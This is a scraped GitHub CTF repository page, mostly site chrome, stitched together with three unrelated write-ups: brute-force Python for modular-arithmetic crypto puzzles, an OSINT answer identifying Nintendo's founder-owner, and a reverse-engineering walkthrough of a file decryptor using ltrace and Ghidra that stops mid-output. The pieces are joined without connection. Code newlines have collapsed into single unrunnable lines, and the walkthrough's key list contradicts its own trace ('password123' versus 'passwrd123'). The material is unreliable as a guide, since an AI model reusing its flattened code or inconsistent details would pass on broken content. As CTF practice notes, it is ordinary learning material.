<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/Ammmy7580/Ctf/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Ammmy7580/Ctf/refs" cache-key="v0:1600665597.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW1tbXk3NTgwL0N0Zg==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Ammmy7580/Ctf/refs" cache-key="v0:1600665597.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW1tbXk3NTgwL0N0Zg==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Ctf</span></span></span><span>/</span><span><span>b01lersCTF 2k20</span></span><span>/</span><span><span>Misc</span></span><span>/</span>Needle In a Haystack<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Ctf</span></span></span><span>/</span><span><span>b01lersCTF 2k20</span></span><span>/</span><span><span>Misc</span></span><span>/</span>Needle In a Haystack<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Ammmy7580/Ctf/tree-commit/46071217ca2864ae4a78941685e23cc7dbe109bb/b01lersCTF%202k20/Misc/Needle%20In%20a%20Haystack" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/Ammmy7580/Ctf/file-list/master/b01lersCTF%202k20/Misc/Needle%20In%20a%20Haystack"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>misc3_SOLVED.png</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
# b01lersb01lers crypto world, on this write-up i'am using python 2 or 3 for solve this challenge.
## G1```pythonfor number in range(1,1000): if(number % 5 == 2): if(number % 7 == 6): if(number % 13 == 9): print number number -= 1``` Flag: **mini{G1_92e9a33c80ca7666c7f4b704}**
## K1```pythonfor x in range(1,100000): for y in range (1,100000): if ((76*x + 221*y) % 281 == 85): if ((171*x + 190*y) % 281 == 138): print str(x) + ',' + str(y) x -= 1 y -= 1```
Flag: **mini{K1_cc1c3c9a5695228061017a76}**
## D1```pythonfor x in range(1,1000): if (11**x % 101 == 27): print(x) x += 1```
Flag: **mini{D1_77858210bb3c8f6f90642947}**
## C1```pythonfor x in range(1,1000): if (x**2 % 97 == 88): print x```
Flag: **mini{C1_4c88b7b4c11a9ee43f33e130}**
## J1```pythonfor x in range(1,1000,1): for y in range(1,1000,1): if(x**2 + 22*y**2 == 8383): print(str(x) + ' , ' + str(y))```
```ans 21 , 19```
Flag: **mini{J1_c9d7861b2635ebb151b71351}**
## G2```pythonprint("FIRST STAGE")xmod5 = []for x in range(1000000000,10000000000,1): if (x % 1277 == 616): xmod5.append(x)print("SECOND STAGE")xmod3911 = []for y in xmod5: if (y % 3911 == 1892): xmod3911.append(y)print("THIRD STAGE")xmod6833 = []for z in xmod3911: if (z % 6833 == 3267): xmod6833.append(z)print("RESULT")print(xmod6833)```ans 6429412122
**output:**```pythonFIRST STAGESECOND STAGETHIRD STAGERESULT[6429412122]```
Flag: **mini{G2_9aa73c3f86221f07d9b789a9}** |
# OSINT - Owner
## Challenge description:

## Hints:

## Solution:
According to the hint, we need to find something in social media sites...
My teammate **KOOLI** found something very interesting in Twitter:



That's really interesting...
And according to the description, we need the name of the owner of that company...
To find that company name, I reverse searched that building image in the tweet (https://twitter.com/Recentl46255384/status/1308343518398570496/photo/2)

Great, that building was for **Nintendo**!

And the owner is: **Hiroshi Yamauchi**
HACSEC{HIROSHI_YAMAUCHI} |
# Reverse I (2)Points: 200Description (*Forgot to copy, all based on my memory*):```The file is corrupted, try to fix it. The decryptor will decrypt the file to JPEG image file. The image is not just a normal image, look carefully.```
We're given two file: 1. decryptor (ELF 64-bit executable)2. file (data)
Try run it:```bash./decryptor File is not valid```Try running ltrace:```ltrace ./decryptor fopen("file", "rb") = 0x5654b2cd32a0fseek(0x5654b2cd32a0, 0, 0, 13) = 0fread(0x7fff782f4340, 19000, 1, 0x5654b2cd32a0) = 0ftello(0x5654b2cd32a0, 0x5654b2cd3490, 0x4777, 0xfbad24a8) = 0x4777memcmp(0x5654b0fec0f0, 0x7fff782f4290, 16, 0x5654b0fec0f0) = 140puts("File is not valid"File is not valid) = 18strlen("12345678") = 8MD5_Init(0x7fff782f4140, 0x7fff782f4280, 0x5654b0deb860, 32) = 1MD5_Update(0x7fff782f4140, 0x5654b0deb860, 8, 0x5654b0deb860) = 1MD5_Final(0x7fff782f41a0, 0x7fff782f4140, 0x7fff782f4140, 0x3837363534333231) = 1...strcmp("25d55ad283aa400af464c76d713c07ad"..., "\302<\032\367\255>812`\371&\344\004\310\341\350\325A;.\\7w\210\206>\376\tA\342:"...) = -144strlen("password") = 8MD5_Init(0x7fff782f4140, 0x7fff782f4280, 0x5654b0deb869, 9) = 1MD5_Update(0x7fff782f4140, 0x5654b0deb869, 8, 0x5654b0deb869) = 1MD5_Final(0x7fff782f41a0, 0x7fff782f4140, 0x7fff782f4140, 0x64726f7773736170) = 1...strcmp("5f4dcc3b5aa765d61d8327deb882cf99"..., "\302<\032\367\255>812`\371&\344\004\310\341\350\325A;.\\7w\210\206>\376\tA\342:"...) = -141strlen("qwertyuiop") = 10MD5_Init(0x7fff782f4140, 0x7fff782f4280, 0x5654b0deb872, 18) = 1MD5_Update(0x7fff782f4140, 0x5654b0deb872, 10, 0x5654b0deb872) = 1MD5_Final(0x7fff782f41a0, 0x7fff782f4140, 0x7fff782f4140, 0x706f697579747265) = 1...strcmp("6eea9b7ef19179a06954edd0f6c05ceb"..., "\302<\032\367\255>812`\371&\344\004\310\341\350\325A;.\\7w\210\206>\376\tA\342:"...) = -140strlen("passwrd123") = 10MD5_Init(0x7fff782f4140, 0x7fff782f4280, 0x5654b0deb87d, 29) = 1MD5_Update(0x7fff782f4140, 0x5654b0deb87d, 10, 0x5654b0deb87d) = 1MD5_Final(0x7fff782f41a0, 0x7fff782f4140, 0x7fff782f4140, 0x3332316472777373) = 1...strcmp("bd3304f768220a27d1ae92d9c332dbf8"..., "\302<\032\367\255>812`\371&\344\004\310\341\350\325A;.\\7w\210\206>\376\tA\342:"...) = -96strlen("123456789") = 9MD5_Init(0x7fff782f4140, 0x7fff782f4280, 0x5654b0deb888, 8) = 1MD5_Update(0x7fff782f4140, 0x5654b0deb888, 9, 0x5654b0deb888) = 1MD5_Final(0x7fff782f41a0, 0x7fff782f4140, 0x7fff782f4140, 0x3938373635343332) = 1...strcmp("25f9e794323b453885f5181f1b624d0b"..., "\302<\032\367\255>812`\371&\344\004\310\341\350\325A;.\\7w\210\206>\376\tA\342:"...) = -144puts("\n"
) = 2fclose(0x5654b2cd32a0) = 0+++ exited (status 1) +++```Notice it calculate some MD5 hashes and strcmp it with something...
It's decompile it with Ghidra to understand more!
## DecompilingBecause it is stripped, so we look for the `entry` function:```cvoid entry(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)
{ undefined8 in_stack_00000000; undefined auStack8 [8]; __libc_start_main(FUN_00100f80,in_stack_00000000,&stack0x00000008,FUN_001017b0,FUN_00101820,uParm3 ,auStack8); do { /* WARNING: Do nothing block with infinite loop */ } while( true );}```And the `main` function should be at `FUN_00100f80`
The main function quite long, I'll explain the main part only
*Note: I modified some code to make it more readable*### Analyze main function```cundefined8 FUN_00100f80(void){ int iVar1; int iVar2; FILE *__stream; ulong current_position; void *__s1; long lVar5; long in_FS_OFFSET; int local_dffc; int local_dff8; int local_dff4; int local_dff0; uint local_dfec; int local_dfe8; int local_dfe4; int local_dfe0; char local_df98 [16]; ... char local_df08 [32]; char buffer [19008]; char input [19008]; ... long local_20; // Open the file given put into stream __stream = fopen("file","rb"); if (__stream != (FILE *)0x0) { fseek(__stream,0,0); // It reads 19K bytes but file contain only 18295 bytes fread(buffer,19000,1,__stream); // so the position should at the last character of file current_position = ftello(__stream); iVar1 = (int)current_position;
// XOR the data with 1 and store in local_df88 xor("7dd`8c6dg08068`1",0x10,1,&local_df88); // Copy first 16 bytes in buffer and store in s1 __s1 = copyFirst16Bytes(buffer); // If s1 and local_df88 are the same if (memcmp(__s1,&local_df88,0x10) == 0) { // XOR the data with 1 and store in output xor("7845dee1g7b14bdc",0x10,1,&output); // Copy previous 16 bytes from current position __s1 = copyPrevious16Bytes(buffer,current_position); // If s1 and output are the same if (memcmp(__s1,&output,0x10) == 0) { // So we must get here for valid file puts("* File is valid"); } else { puts("* File is not valid"); } } else { puts("File is not valid"); } char* last = copyPrevious16Bytes(buffer,current_position); char* first = copyFirst16Bytes(buffer); // Concatenate first and last string char* key = concatenate(first,last); char* data[5] = {"12345678", "password","qwertyuiop","password123","123456789"}
while (local_dff8 < 5) { // Calculate the hash at data then store at hash md5sum(data[local_dff8],hash); // If key and hash are equal if (strcmp(key,hash) == 0) { local_dfe8 = 0; local_dfe4 = 0x10; // Copy the content without the key we append while (local_dfe4 < current_position -0x10) { input[local_dfe8] = fileContent[local_dfe4]; local_dfe8++; local_dfe4++; } printf("[+] Decrypted File has been generated. (FinalDecryption.jpeg)"); memset(&output,0,19000); // Decrypt the input using the data as the key RC4_decrypt(data[local_dff8],current_position -0x20, input,&output); // Write the output to FinalDecryption.jpeg writeToFile(&output,current_position -0x20); } local_dff8++; } puts("\n"); fclose(__stream);}```From the code above, the condition of the valid file are:- First 16 bytes must equal to ```7dd`8c6dg08068`1``` XOR 1- Last 16 bytes must equal to `7845dee1g7b14bdc` XOR 1
The challenge said that the file is corrupted, so we must correct the file for first 16 bytes and last 16 bytes
But we not sure we need to append those bytes or replace those bytes..
Lets test it out with python!
### Replace to file
```pyfrom Crypto.Util.strxor import strxor# Cut first 16 bytes and last 16 bytesori = open("original",'r').read()[16:-16]first = strxor("7dd`8c6dg08068`1","\x01"*16)last = strxor("7845dee1g7b14bdc","\x01"*16)# Write to fileopen("file",'w').write(first+ori+last)```Run it:```bashpython solve.py
./decryptor * File is valid[+] Decrypted File has been generated. (FinalDecryption.jpeg)
file Final_decryption.jpeg Final_decryption.jpeg: data
